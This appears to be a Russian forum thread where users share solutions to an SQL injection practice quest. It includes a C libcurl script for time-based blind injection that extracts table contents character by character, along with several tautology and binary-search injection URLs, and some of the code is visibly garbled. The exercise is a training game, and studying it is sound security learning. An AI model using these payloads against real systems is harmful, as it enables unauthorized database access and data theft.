wtf

genius
Имена в итогу вышли читаемыее и осмысленные, я на верном пути. Осталось узнать что хранится в каждом из них. Звучит не слишком сложно.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

char findChar(int charNum,char *tableName)
{
char url[420], *ret;

int cmax=255;

while(1)
{
if(cmax==0)return 0;
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne+where+ascii%%28substri ng%%28%s%%2C%d%%2C1%%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CENCODE%%28% %27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+ Steel%%27%%29%%29%%2Cnull%%29%%3B",tableName,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);

if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

}

return -1;
}

void main()
{

int i,i1;
char curChar;
char *tableList[]={"first","second","morkovka","wtf","genius"};

for(i=0;i

[CODE]
select if((select count(*) from level10.davidblayne where ascii(substring(first,1,1))=105)=1,BENCHMARK(50000 00,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Основано на запросе выше.

Содержимое базы следующее:
55

44

wantamorkovka

wtf?

yes
Что из них ответ - догадайтесь сами. Квест пройден.



Если сам, молодец, но вот как пример, как можно пройти 8 и 9 задачу....решение по 8-мой схоже, только без определения кол-во символов первоначально, а 9-ое, на мой взгляд элегантнее, в два запроса. но за код плюс тебе

http://habrahabr.ru/post/253885/#first_unread

Dude
29.06.2015, 19:53
↑ (https://antichat.live/posts/3863530/)
Сам прошёл, да ?


Сам.


↑ (https://antichat.live/posts/3863535/)
Если сам, молодец, но вот как пример, как можно пройти 8 и 9 задачу....решение по 8-мой схоже, только без определения кол-во символов первоначально, а 9-ое, на мой взгляд элегантнее, в два запроса. но за код плюс тебе
http://habrahabr.ru/post/253885/#first_unread


Не видел и даже не пытался искать. Код можно (и нужно) доработать, возможно потом займусь этим.

BabaDook
30.06.2015, 02:04
↑ (https://antichat.live/posts/3863569/)
Сам.
Не видел и даже не пытался искать. Код можно (и нужно) доработать, возможно потом займусь этим.


Молодец, хорошо крутишь sql

psihoz26
30.06.2015, 15:06
Более короткое (и я считаю что более интересное) решение второго задания:


https://alexbers.com/sql/qnbutn2.php?text='or'1

результатом станет вывод всей таблицы.

аналогично третий


https://alexbers.com/sql/sdjjy3.php?text='or(1)%23


девятый быстро проходится сложив в запросе всё и подобрав сразу сумму


https://alexbers.com/sql/almost9.php?text=20+and+(select+sum(login)+from+us ers+where+id>=20+and+id=2225

Подбирал ручками и вышло 14 запросов:

100 +

1000 +

2000 +

3000 -

2500 -

2250 -

2125 +

2187 +

2218 +

2233 -

2226 -

2223 +

2224 +

2225 =

При посимвольном переборе вышло бы 11 запросов + ~4 чтобы узнать длину строки суммы.

update//

глянул на хабре прохождение 9 и ушел читать документацию

Farik
01.07.2015, 00:20
На 5 остановился и пойду как я спать

frank
01.07.2015, 08:09
↑ (https://antichat.live/posts/3863763/)
Более короткое (и я считаю что более интересное) решение второго задания:

https://alexbers.com/sql/qnbutn2.php?text='or'1

результатом станет вывод всей таблицы.
аналогично третий

https://alexbers.com/sql/sdjjy3.php?text='or(1)%23

девятый быстро проходится сложив в запросе всё и подобрав сразу сумму

https://alexbers.com/sql/almost9.php?text=20+and+(select+sum(login)+from+us ers+where+id>=20+and+id=2225

Подбирал ручками и вышло 14 запросов:
100 +
1000 +
2000 +
3000 -
2500 -
2250 -
2125 +
2187 +
2218 +
2233 -
2226 -
2223 +
2224 +
2225 =
При посимвольном переборе вышло бы 11 запросов + ~4 чтобы узнать длину строки суммы.
update//
глянул на хабре прохождение 9 и ушел читать документацию


Сам так же сделал когда увидел в два захода то